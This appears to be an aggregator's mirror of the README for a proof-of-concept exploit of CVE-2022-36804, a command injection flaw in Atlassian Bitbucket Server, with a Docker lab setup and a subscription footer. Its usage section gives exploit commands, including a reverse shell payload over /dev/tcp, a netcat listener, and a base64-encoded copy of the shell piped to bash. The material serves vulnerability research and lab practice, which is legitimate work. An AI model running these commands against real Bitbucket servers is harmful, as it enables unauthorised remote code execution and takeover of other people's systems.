CVE-2022-36804 PoC — Atlassian Bitbucket Server 安全漏洞

Source

https://github.com/imbas007/Atlassian-Bitbucket-CVE-2022-36804

Associated Vulnerability

Title:Atlassian Bitbucket Server 安全漏洞 (CVE-2022-36804)
Description:Multiple API endpoints in Atlassian Bitbucket Server and Data Center 7.0.0 before version 7.6.17, from version 7.7.0 before version 7.17.10, from version 7.18.0 before version 7.21.4, from version 8.0.0 before version 8.0.3, from version 8.1.0 before version 8.1.3, and from version 8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1 allows remote attackers with read permissions to a public or private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. This vulnerability was reported via our Bug Bounty Program by TheGrandPew.

Readme

# Atlassian-Bitbucket-Server-CVE-2022-36804

A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions `<7.6.17`, `<7.17.10`, `<7.21.4`, `<8.0.3`, `<8.1.2`, `<8.2.2`, and `<8.3.1`

## Lab for CVE-2022-36804
### Build Docker
```
docker build -t bitbucket .
```

### Run Docker
```
docker run -it bitbucket
```

# Usage cve-2022-36804.py
### Check for Remote Code Execution (RCE)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990
```

### Check for RCE with customized command (cmd)
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
```

###  Check for RCE with customized command, project key, and repository name
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo
```
### Get shell with netcat
Replace `172.17.0.3` with your local ip address
```
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "sh -i >& /dev/tcp/172.17.0.2/4444 0>&1"
```
### Start netcat listner with:
```
nc -lvp 4444
```
### Reverse shell online : `https://www.revshells.com`
```
Convert `sh -i >& /dev/tcp/172.17.0.2/4444 0>&1` to base64 in case of payload execution error. 
```
python3 cve-2022-36804.py -u `http://172.17.0.2:7990` -c "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE3LjAuMi80NDQ0IDA+JjE=' | base64 -d | bash"
```
It is recommended to install vulnerable version of Bitbucket server in Windows/Linux machine for practice. It will be easy to achieve reverse shell compared to docker images.

More information can be found [here](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)

# References
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
* https://github.com/walnutsecurity/cve-2022-36804

File Snapshot


 [4.0K]  /data/pocs/2b445cf614bbe583ecba6fb85977ae257600cff6
├── [6.5K]  CVE-2022-36804.py
├── [ 434]  Dockerfile.txt
└── [2.0K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!